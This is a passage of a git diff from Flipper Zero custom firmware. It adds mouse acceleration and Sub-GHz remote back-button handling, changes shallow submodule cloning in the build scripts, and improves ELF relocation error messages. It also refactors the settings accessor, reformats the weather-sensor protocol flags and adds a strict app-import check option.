hid_hal_mouse_move(hid_mouse->hid, MOUSE_MOVE_LONG, 0); } else if(event->type == InputTypeRelease) { model->right_pressed = false; } @@ -159,7 +166,8 @@ static void hid_mouse_process(HidMouse* hid_mouse, InputEvent* event) { model->left_pressed = true; hid_hal_mouse_move(hid_mouse->hid, -MOUSE_MOVE_SHORT, 0); } else if(event->type == InputTypeRepeat) { - hid_hal_mouse_move(hid_mouse->hid, -MOUSE_MOVE_LONG, 0); + for(uint8_t i = model->acceleration; i > 1; i -= 2) + hid_hal_mouse_move(hid_mouse->hid, -MOUSE_MOVE_LONG, 0); } else if(event->type == InputTypeRelease) { model->left_pressed = false; } @@ -168,7 +176,9 @@ static void hid_mouse_process(HidMouse* hid_mouse, InputEvent* event) { model->down_pressed = true; hid_hal_mouse_move(hid_mouse->hid, 0, MOUSE_MOVE_SHORT); } else if(event->type == InputTypeRepeat) { - hid_hal_mouse_move(hid_mouse->hid, 0, MOUSE_MOVE_LONG); + for(uint8_t i = model->acceleration; i > 1; i -= 2) + hid_hal_mouse_move(hid_mouse->hid, 0, MOUSE_MOVE_LONG); + } else if(event->type == InputTypeRelease) { model->down_pressed = false; } @@ -177,7 +187,8 @@ static void hid_mouse_process(HidMouse* hid_mouse, InputEvent* event) { model->up_pressed = true; hid_hal_mouse_move(hid_mouse->hid, 0, -MOUSE_MOVE_SHORT); } else if(event->type == InputTypeRepeat) { - hid_hal_mouse_move(hid_mouse->hid, 0, -MOUSE_MOVE_LONG); + for(uint8_t i = model->acceleration; i > 1; i -= 2) + hid_hal_mouse_move(hid_mouse->hid, 0, -MOUSE_MOVE_LONG); } else if(event->type == InputTypeRelease) { model->up_pressed = false; } diff --git a/applications/system/subghz_remote/views/remote.c b/applications/system/subghz_remote/views/remote.c index fc7608624..bdf4b89c3 100644 --- a/applications/system/subghz_remote/views/remote.c +++ b/applications/system/subghz_remote/views/remote.c @@ -201,21 +201,30 @@ bool subrem_view_remote_input(InputEvent* event, void* context) { furi_assert(context); SubRemViewRemote* subrem_view_remote = context; - if(event->key == InputKeyBack && event->type == InputTypeLong) { - subrem_view_remote->callback(SubRemCustomEventViewRemoteBack, subrem_view_remote->context); - return true; - } else if(event->key == InputKeyBack && event->type == InputTypeShort) { + if(event->key == InputKeyBack && event->type == InputTypePress) { + bool is_stopping = false; with_view_model( subrem_view_remote->view, SubRemViewRemoteModel * model, - { model->pressed_btn = 0; }, + { + if(model->state == SubRemViewRemoteStateSending) { + is_stopping = true; + model->pressed_btn = 0; + } + }, true); - subrem_view_remote->callback( - SubRemCustomEventViewRemoteForcedStop, subrem_view_remote->context); - return true; - } else if(event->key == InputKeyBack) { + + //Cant send exit the app inside that with_model,locks the model and the app will hang and not unload! + if(is_stopping) + subrem_view_remote->callback( + SubRemCustomEventViewRemoteForcedStop, subrem_view_remote->context); + else + subrem_view_remote->callback( + SubRemCustomEventViewRemoteBack, subrem_view_remote->context); + return true; } + // BACK button processing end if(event->key == InputKeyUp && event->type == InputTypePress) { diff --git a/fbt b/fbt index a4f953c3d..549f7c0ae 100755 --- a/fbt +++ b/fbt @@ -5,7 +5,8 @@ set -eu; # private variables -N_GIT_THREADS="$(getconf _NPROCESSORS_ONLN)"; +N_CORES="$(getconf _NPROCESSORS_ONLN)"; +N_GIT_THREADS="$(($N_CORES * 2))"; SCRIPT_PATH="$(cd "$(dirname "$0")" && pwd -P)"; SCONS_DEFAULT_FLAGS="--warn=target-not-built"; SCONS_EP="python3 -m SCons"; @@ -15,6 +16,7 @@ FBT_NOENV="${FBT_NOENV:-""}"; FBT_NO_SYNC="${FBT_NO_SYNC:-""}"; FBT_TOOLCHAIN_PATH="${FBT_TOOLCHAIN_PATH:-$SCRIPT_PATH}"; FBT_VERBOSE="${FBT_VERBOSE:-""}"; +FBT_GIT_SUBMODULE_SHALLOW="${FBT_GIT_SUBMODULE_SHALLOW:-""}"; if [ -z "$FBT_NOENV" ]; then FBT_VERBOSE="$FBT_VERBOSE" . "$SCRIPT_PATH/scripts/toolchain/fbtenv.sh"; @@ -29,7 +31,12 @@ if [ -z "$FBT_NO_SYNC" ]; then echo "\".git\" directory not found, please clone repo via \"git clone\""; exit 1; fi - git submodule update --init --recursive --jobs "$N_GIT_THREADS"; + _FBT_CLONE_FLAGS="--jobs $N_GIT_THREADS"; + if [ ! -z "$FBT_GIT_SUBMODULE_SHALLOW" ]; then + _FBT_CLONE_FLAGS="$_FBT_CLONE_FLAGS --depth 1"; + fi + + git submodule update --init --recursive --recursive $_FBT_CLONE_FLAGS; fi $SCONS_EP $SCONS_DEFAULT_FLAGS "$@" diff --git a/fbt.cmd b/fbt.cmd index 61f55f5c1..078cc69a0 100644 --- a/fbt.cmd +++ b/fbt.cmd @@ -4,10 +4,18 @@ call "%~dp0scripts\toolchain\fbtenv.cmd" env set SCONS_EP=python -m SCons if [%FBT_NO_SYNC%] == [] ( + set _FBT_CLONE_FLAGS=--jobs %NUMBER_OF_PROCESSORS% + if not [%FBT_GIT_SUBMODULE_SHALLOW%] == [] ( + set _FBT_CLONE_FLAGS=%_FBT_CLONE_FLAGS% --depth 1 + ) if exist ".git" ( - git submodule update --init --recursive --depth 1 --jobs %NUMBER_OF_PROCESSORS% + git submodule update --init --recursive --recursive %_FBT_CLONE_FLAGS% + if %ERRORLEVEL% neq 0 ( + echo Failed to update submodules, set FBT_NO_SYNC to skip + exit /b 1 + ) ) else ( - echo Not in a git repo, please clone with "git clone" + echo .git not found, please clone repo with "git clone" exit /b 1 ) ) diff --git a/firmware/targets/f7/api_symbols.csv b/firmware/targets/f7/api_symbols.csv index 2b8625f62..1f04be3f9 100644 --- a/firmware/targets/f7/api_symbols.csv +++ b/firmware/targets/f7/api_symbols.csv @@ -341,7 +341,6 @@ Function,-,SystemCoreClockUpdate,void, Function,-,SystemInit,void, Function,+,XTREME_ASSETS_FREE,void, Function,+,XTREME_ASSETS_LOAD,void, -Function,+,XTREME_SETTINGS,XtremeSettings*, Function,-,XTREME_SETTINGS_LOAD,void, Function,+,XTREME_SETTINGS_SAVE,void, Function,-,_Exit,void,int @@ -3894,3 +3893,4 @@ Variable,+,usb_cdc_single,FuriHalUsbInterface, Variable,+,usb_hid,FuriHalUsbInterface, Variable,+,usb_hid_u2f,FuriHalUsbInterface, Variable,+,usbd_devfs,const usbd_driver, +Variable,+,xtreme_settings,XtremeSettings, diff --git a/firmware/targets/f7/furi_hal/furi_hal_light.c b/firmware/targets/f7/furi_hal/furi_hal_light.c index df7c23d56..17d0e40a3 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_light.c +++ b/firmware/targets/f7/furi_hal/furi_hal_light.c @@ -44,7 +44,7 @@ void furi_hal_light_set(Light light, uint8_t value) { lp5562_set_channel_value(&furi_hal_i2c_handle_power, LP5562ChannelBlue, value); } if(light & LightBacklight) { - if(XTREME_SETTINGS()->rgb_backlight) { + if(xtreme_settings.rgb_backlight) { rgb_backlight_update(value, false); } else { uint8_t prev = diff --git a/lib/flipper_application/elf/elf_file.c b/lib/flipper_application/elf/elf_file.c index 9b8b4c8f5..b2c9445ff 100644 --- a/lib/flipper_application/elf/elf_file.c +++ b/lib/flipper_application/elf/elf_file.c @@ -613,10 +613,31 @@ static Elf32_Addr elf_address_of_by_hash(ELFFile* elf, uint32_t hash) { return ELF_INVALID_ADDRESS; } +static bool elf_file_find_string_by_hash(ELFFile* elf, uint32_t hash, FuriString* out) { + bool result = false; + + FuriString* symbol_name = furi_string_alloc(); + Elf32_Sym sym; + for(size_t i = 0; i < elf->symbol_count; i++) { + furi_string_reset(symbol_name); + if(elf_read_symbol(elf, i, &sym, symbol_name)) { + if(elf_symbolname_hash(furi_string_get_cstr(symbol_name)) == hash) { + furi_string_set(out, symbol_name); + result = true; + break; + } + } + } + furi_string_free(symbol_name); + + return result; +} + static bool elf_relocate_fast(ELFFile* elf, ELFSection* s) { UNUSED(elf); const uint8_t* start = s->fast_rel->data; const uint8_t version = *start; + bool no_errors = true; if(version != FAST_RELOCATION_VERSION) { FURI_LOG_E(TAG, "Unsupported fast relocation version %d", version); @@ -664,16 +685,30 @@ static bool elf_relocate_fast(ELFFile* elf, ELFSection* s) { } if(address == ELF_INVALID_ADDRESS) { - FURI_LOG_E(TAG, "Failed to resolve address for hash %lX", hash_or_section_index); - return false; - } + FuriString* symbol_name = furi_string_alloc(); + if(elf_file_find_string_by_hash(elf, hash_or_section_index, symbol_name)) { + FURI_LOG_E( + TAG, + "Failed to resolve address for symbol %s (hash %lX)", + furi_string_get_cstr(symbol_name), + hash_or_section_index); + } else { + FURI_LOG_E( + TAG, + "Failed to resolve address for hash %lX (string not found)", + hash_or_section_index); + } + furi_string_free(symbol_name); - for(uint32_t j = 0; j < offsets_count; j++) { - uint32_t offset = *((uint32_t*)start) & 0x00FFFFFF; - start += 3; - // FURI_LOG_I(TAG, " Fast relocation offset %ld: %ld", j, offset); - Elf32_Addr relAddr = ((Elf32_Addr)s->data) + offset; - elf_relocate_symbol(elf, relAddr, type, address); + no_errors = false; + start += 3 * offsets_count; + } else { + for(uint32_t j = 0; j < offsets_count; j++) { + uint32_t offset = *((uint32_t*)start) & 0x00FFFFFF; + start += 3; + Elf32_Addr relAddr = ((Elf32_Addr)s->data) + offset; + elf_relocate_symbol(elf, relAddr, type, address); + } } } @@ -681,7 +716,7 @@ static bool elf_relocate_fast(ELFFile* elf, ELFSection* s) { free(s->fast_rel); s->fast_rel = NULL; - return true; + return no_errors; } static bool elf_relocate_section(ELFFile* elf, ELFSection* section) { diff --git a/lib/subghz/protocols/acurite_592txr.c b/lib/subghz/protocols/acurite_592txr.c index c99b0140a..8bca10442 100644 --- a/lib/subghz/protocols/acurite_592txr.c +++ b/lib/subghz/protocols/acurite_592txr.c @@ -86,8 +86,8 @@ const SubGhzProtocol ws_protocol_acurite_592txr = { .name = WS_PROTOCOL_ACURITE_592TXR_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | - SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send, + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | + SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send, .decoder = &ws_protocol_acurite_592txr_decoder, .encoder = &ws_protocol_acurite_592txr_encoder, diff --git a/lib/subghz/protocols/acurite_606tx.c b/lib/subghz/protocols/acurite_606tx.c index 1f0e7284e..7e56cebd2 100644 --- a/lib/subghz/protocols/acurite_606tx.c +++ b/lib/subghz/protocols/acurite_606tx.c @@ -69,8 +69,8 @@ const SubGhzProtocol ws_protocol_acurite_606tx = { .name = WS_PROTOCOL_ACURITE_606TX_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | - SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | + SubGhzProtocolFlag_Save, .decoder = &ws_protocol_acurite_606tx_decoder, .encoder = &ws_protocol_acurite_606tx_encoder, diff --git a/lib/subghz/protocols/acurite_609txc.c b/lib/subghz/protocols/acurite_609txc.c index 3f7c2bb73..097c6043c 100644 --- a/lib/subghz/protocols/acurite_609txc.c +++ b/lib/subghz/protocols/acurite_609txc.c @@ -70,8 +70,8 @@ const SubGhzProtocol ws_protocol_acurite_609txc = { .name = WS_PROTOCOL_ACURITE_609TXC_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | - SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | + SubGhzProtocolFlag_Save, .decoder = &ws_protocol_acurite_609txc_decoder, .encoder = &ws_protocol_acurite_609txc_encoder, diff --git a/lib/subghz/protocols/ambient_weather.c b/lib/subghz/protocols/ambient_weather.c index ea2ae819d..9d3f63df9 100644 --- a/lib/subghz/protocols/ambient_weather.c +++ b/lib/subghz/protocols/ambient_weather.c @@ -84,8 +84,8 @@ const SubGhzProtocol ws_protocol_ambient_weather = { .name = WS_PROTOCOL_AMBIENT_WEATHER_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | - SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | + SubGhzProtocolFlag_Save, .decoder = &ws_protocol_ambient_weather_decoder, .encoder = &ws_protocol_ambient_weather_encoder, diff --git a/lib/subghz/protocols/auriol_ahfl.c b/lib/subghz/protocols/auriol_ahfl.c index 9ae5fe672..c43a44af1 100644 --- a/lib/subghz/protocols/auriol_ahfl.c +++ b/lib/subghz/protocols/auriol_ahfl.c @@ -81,8 +81,8 @@ const SubGhzProtocol ws_protocol_auriol_ahfl = { .name = WS_PROTOCOL_AURIOL_AHFL_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | - SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | + SubGhzProtocolFlag_Save, .decoder = &ws_protocol_auriol_ahfl_decoder, .encoder = &ws_protocol_auriol_ahfl_encoder, diff --git a/lib/subghz/protocols/auriol_hg0601a.c b/lib/subghz/protocols/auriol_hg0601a.c index 3d564f80f..1c9d9c032 100644 --- a/lib/subghz/protocols/auriol_hg0601a.c +++ b/lib/subghz/protocols/auriol_hg0601a.c @@ -80,8 +80,8 @@ const SubGhzProtocol ws_protocol_auriol_th = { .name = WS_PROTOCOL_AURIOL_TH_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | - SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | + SubGhzProtocolFlag_Save, .decoder = &ws_protocol_auriol_th_decoder, .encoder = &ws_protocol_auriol_th_encoder, diff --git a/lib/subghz/protocols/gt_wt_02.c b/lib/subghz/protocols/gt_wt_02.c index dc783285c..213516679 100644 --- a/lib/subghz/protocols/gt_wt_02.c +++ b/lib/subghz/protocols/gt_wt_02.c @@ -83,8 +83,8 @@ const SubGhzProtocol ws_protocol_gt_wt_02 = { .name = WS_PROTOCOL_GT_WT_02_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | - SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | + SubGhzProtocolFlag_Save, .decoder = &ws_protocol_gt_wt_02_decoder, .encoder = &ws_protocol_gt_wt_02_encoder, diff --git a/lib/subghz/protocols/gt_wt_03.c b/lib/subghz/protocols/gt_wt_03.c index 482d33bd6..cb0c94af3 100644 --- a/lib/subghz/protocols/gt_wt_03.c +++ b/lib/subghz/protocols/gt_wt_03.c @@ -109,8 +109,8 @@ const SubGhzProtocol ws_protocol_gt_wt_03 = { .name = WS_PROTOCOL_GT_WT_03_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | - SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | + SubGhzProtocolFlag_Save, .decoder = &ws_protocol_gt_wt_03_decoder, .encoder = &ws_protocol_gt_wt_03_encoder, diff --git a/lib/subghz/protocols/infactory.c b/lib/subghz/protocols/infactory.c index f4c355ff9..f1ee3432b 100644 --- a/lib/subghz/protocols/infactory.c +++ b/lib/subghz/protocols/infactory.c @@ -94,8 +94,8 @@ const SubGhzProtocol ws_protocol_infactory = { .name = WS_PROTOCOL_INFACTORY_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | - SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | + SubGhzProtocolFlag_Save, .decoder = &ws_protocol_infactory_decoder, .encoder = &ws_protocol_infactory_encoder, diff --git a/lib/subghz/protocols/lacrosse_tx141thbv2.c b/lib/subghz/protocols/lacrosse_tx141thbv2.c index 4f4a112c1..8825d922a 100644 --- a/lib/subghz/protocols/lacrosse_tx141thbv2.c +++ b/lib/subghz/protocols/lacrosse_tx141thbv2.c @@ -76,8 +76,8 @@ const SubGhzProtocol ws_protocol_lacrosse_tx141thbv2 = { .name = WS_PROTOCOL_LACROSSE_TX141THBV2_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | - SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | + SubGhzProtocolFlag_Save, .decoder = &ws_protocol_lacrosse_tx141thbv2_decoder, .encoder = &ws_protocol_lacrosse_tx141thbv2_encoder, diff --git a/lib/subghz/protocols/nexus_th.c b/lib/subghz/protocols/nexus_th.c index 76925a009..9307194bb 100644 --- a/lib/subghz/protocols/nexus_th.c +++ b/lib/subghz/protocols/nexus_th.c @@ -356,8 +356,8 @@ const SubGhzProtocol ws_protocol_nexus_th = { .name = WS_PROTOCOL_NEXUS_TH_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | - SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send, + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | + SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send, .decoder = &ws_protocol_nexus_th_decoder, .encoder = &ws_protocol_nexus_th_encoder, diff --git a/lib/subghz/protocols/oregon_v1.c b/lib/subghz/protocols/oregon_v1.c index b8ca85106..5967e9625 100644 --- a/lib/subghz/protocols/oregon_v1.c +++ b/lib/subghz/protocols/oregon_v1.c @@ -95,8 +95,8 @@ const SubGhzProtocol ws_protocol_oregon_v1 = { .name = WS_PROTOCOL_OREGON_V1_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | - SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | + SubGhzProtocolFlag_Save, .decoder = &ws_protocol_oregon_v1_decoder, .encoder = &ws_protocol_oregon_v1_encoder, diff --git a/lib/subghz/protocols/thermopro_tx4.c b/lib/subghz/protocols/thermopro_tx4.c index 56b19372e..9adaacac1 100644 --- a/lib/subghz/protocols/thermopro_tx4.c +++ b/lib/subghz/protocols/thermopro_tx4.c @@ -79,8 +79,8 @@ const SubGhzProtocol ws_protocol_thermopro_tx4 = { .name = WS_PROTOCOL_THERMOPRO_TX4_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | - SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | + SubGhzProtocolFlag_Save, .decoder = &ws_protocol_thermopro_tx4_decoder, .encoder = &ws_protocol_thermopro_tx4_encoder, diff --git a/lib/subghz/protocols/tx_8300.c b/lib/subghz/protocols/tx_8300.c index 2ef1b60c8..b0686a774 100644 --- a/lib/subghz/protocols/tx_8300.c +++ b/lib/subghz/protocols/tx_8300.c @@ -90,8 +90,8 @@ const SubGhzProtocol ws_protocol_tx_8300 = { .name = WS_PROTOCOL_TX_8300_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | - SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | + SubGhzProtocolFlag_Save, .decoder = &ws_protocol_tx_8300_decoder, .encoder = &ws_protocol_tx_8300_encoder, diff --git a/lib/subghz/protocols/wendox_w6726.c b/lib/subghz/protocols/wendox_w6726.c index a0d20c9a0..a5ef0a026 100644 --- a/lib/subghz/protocols/wendox_w6726.c +++ b/lib/subghz/protocols/wendox_w6726.c @@ -84,8 +84,8 @@ const SubGhzProtocol ws_protocol_wendox_w6726 = { .name = WS_PROTOCOL_WENDOX_W6726_NAME, .type = SubGhzProtocolTypeStatic, .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | - SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, + SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | + SubGhzProtocolFlag_Save, .decoder = &ws_protocol_wendox_w6726_decoder, .encoder = &ws_protocol_wendox_w6726_encoder, diff --git a/lib/xtreme/assets.c b/lib/xtreme/assets.c index df28ebbc9..3ec556df6 100644 --- a/lib/xtreme/assets.c +++ b/lib/xtreme/assets.c @@ -10,7 +10,7 @@ #define ICONS_FMT XTREME_ASSETS_PATH "/%s/Icons/%s" void load_icon_animated(const Icon* replace, const char* name, FuriString* path, File* file) { - const char* pack = XTREME_SETTINGS()->asset_pack; + const char* pack = xtreme_settings.asset_pack; furi_string_printf(path, ICONS_FMT "/meta", pack, name); if(storage_file_open(file, furi_string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) { int32_t icon_width, icon_height, frame_rate, frame_count; @@ -61,7 +61,7 @@ void load_icon_animated(const Icon* replace, const char* name, FuriString* path, } void load_icon_static(const Icon* replace, const char* name, FuriString* path, File* file) { - furi_string_printf(path, ICONS_FMT ".bmx", XTREME_SETTINGS()->asset_pack, name); + furi_string_printf(path, ICONS_FMT ".bmx", xtreme_settings.asset_pack, name); if(storage_file_open(file, furi_string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) { uint64_t size = storage_file_size(file) - 8; uint8_t* frame = malloc(size); @@ -102,8 +102,8 @@ void free_icon(const Icon* icon) { } void XTREME_ASSETS_LOAD() { - const char* pack = XTREME_SETTINGS()->asset_pack; - XTREME_SETTINGS()->is_nsfw = !strncmp(pack, "NSFW", strlen("NSFW")); + const char* pack = xtreme_settings.asset_pack; + xtreme_settings.is_nsfw = !strncmp(pack, "NSFW", strlen("NSFW")); if(pack[0] == '\0') return; Storage* storage = furi_record_open(RECORD_STORAGE); diff --git a/lib/xtreme/settings.c b/lib/xtreme/settings.c index af432eb89..d178fae48 100644 --- a/lib/xtreme/settings.c +++ b/lib/xtreme/settings.c @@ -252,7 +252,3 @@ void XTREME_SETTINGS_SAVE() { flipper_format_free(file); furi_record_close(RECORD_STORAGE); } - -XtremeSettings* XTREME_SETTINGS() { - return &xtreme_settings; -} diff --git a/lib/xtreme/xtreme.h b/lib/xtreme/xtreme.h index 89a2fdb01..47760797d 100644 --- a/lib/xtreme/xtreme.h +++ b/lib/xtreme/xtreme.h @@ -92,7 +92,7 @@ typedef struct { void XTREME_SETTINGS_LOAD(); void XTREME_SETTINGS_SAVE(); -XtremeSettings* XTREME_SETTINGS(); +extern XtremeSettings xtreme_settings; void XTREME_ASSETS_LOAD(); void XTREME_ASSETS_FREE(); diff --git a/scripts/fbt/appmanifest.py b/scripts/fbt/appmanifest.py index 24076632e..11828d32e 100644 --- a/scripts/fbt/appmanifest.py +++ b/scripts/fbt/appmanifest.py @@ -100,6 +100,10 @@ class FlipperApplication: def is_default_deployable(self): return self.apptype != FlipperAppType.DEBUG and self.fap_category != "Examples" + @property + def do_strict_import_checks(self): + return self.apptype != FlipperAppType.PLUGIN + def __post_init__(self): if self.apptype == FlipperAppType.PLUGIN: self.stack_size = 0 diff --git a/scripts/fbt_tools/fbt_extapps.py b/scripts/fbt_tools/fbt_extapps.py index bc8f9d5df..963429f24 100644 --- a/scripts/fbt_tools/fbt_extapps.py +++ b/scripts/fbt_tools/fbt_extapps.py @@ -42,6 +42,7 @@ class AppBuilder: self.ext_apps_work_dir = env["EXT_APPS_WORK_DIR"] self.app_work_dir = self.get_app_work_dir(env, app) self.app_alias = f"fap_{self.app.appid}" + self.icons_src = None self.externally_built_files = [] self.private_libs = [] @@ -93,6 +94,7 @@ class AppBuilder: ) self.app_env.Alias("_fap_icons", fap_icons) self.fw_env.Append(_APP_ICONS=[fap_icons]) + self.icons_src = next(filter(lambda n: n.path.endswith(".c"), fap_icons)) def _build_private_libs(self): for lib_def in self.app.fap_private_libs: @@ -160,6 +162,10 @@ class AppBuilder: if not app_sources: raise UserError(f"No source files found for {self.app.appid}") + # Ensure that icons are included in the build, regardless of user-configured sources + if self.icons_src and not self.icons_src in app_sources: + app_sources.append(self.icons_src) + ## Uncomment for debug # print(f"App sources for {self.app.appid}: {list(f.path for f in app_sources)}") @@ -180,7 +186,9 @@ class AppBuilder: self.app._assets_dirs.append(self.app_work_dir.Dir("assets")) app_artifacts.validator = self.app_env.ValidateAppImports( - app_artifacts.compact + app_artifacts.compact, + _CHECK_APP=self.app.do_strict_import_checks + and self.app_env.get("STRICT_FAP_IMPORT_CHECK"), )[0] if self.app.apptype == FlipperAppType.PLUGIN: @@ -300,7 +308,10 @@ def validate_app_imports(target, source, env): + fg.brightmagenta(f"{disabled_api_syms}") + fg.brightyellow(")") ) - SCons.Warnings.warn(SCons.Warnings.LinkWarning, warning_msg), + if env.get("_CHECK_APP"): + raise UserError(warning_msg) + else: + SCons.Warnings.warn(SCons.Warnings.LinkWarning, warning_msg), def GetExtAppByIdOrPath(env, app_dir): diff --git a/scripts/fbt_tools/sconsrecursiveglob.py b/scripts/fbt_tools/sconsrecursiveglob.py index 38aa9a839..e7eb8fb72 100644 --- a/scripts/fbt_tools/sconsrecursiveglob.py +++ b/scripts/fbt_tools/sconsrecursiveglob.py @@ -20,10 +20,9 @@ def GlobRecursive(env, pattern, node=".", exclude=[]): source=True, exclude=exclude, ) - # Otherwise, just check if that's an existing file path - # NB: still creates "virtual" nodes as part of existence check - elif (file_node := node.File(pattern)).exists() or file_node.rexists(): - results.append(file_node) + # Otherwise, just assume that file at path exists + else: + results.append(node.File(pattern)) # print(f"Glob result for {pattern} from {node}: {results}") return results diff --git a/scripts/ufbt/commandline.scons b/scripts/ufbt/commandline.scons index 99c34c35d..a3ba7e08d 100644 --- a/scripts/ufbt/commandline.scons +++ b/scripts/ufbt/commandline.scons @@ -88,6 +88,11 @@ vars.AddVariables( "CDC Port of Flipper to use, if multiple are connected", "auto", ), + BoolVariable( + "STRICT_FAP_IMPORT_CHECK", + help="Enable strict import check for .faps", + default=True, + ), ) Return("vars") diff --git a/site_scons/commandline.scons b/site_scons/commandline.scons index 0b4f03da0..93c43405a 100644 --- a/site_scons/commandline.scons +++ b/site_scons/commandline.scons @@ -270,6 +270,11 @@ vars.AddVariables( "clangd", ], ), + BoolVariable( + "STRICT_FAP_IMPORT_CHECK", + help="Enable strict import check for .faps", + default=True, + ), ) Return("vars")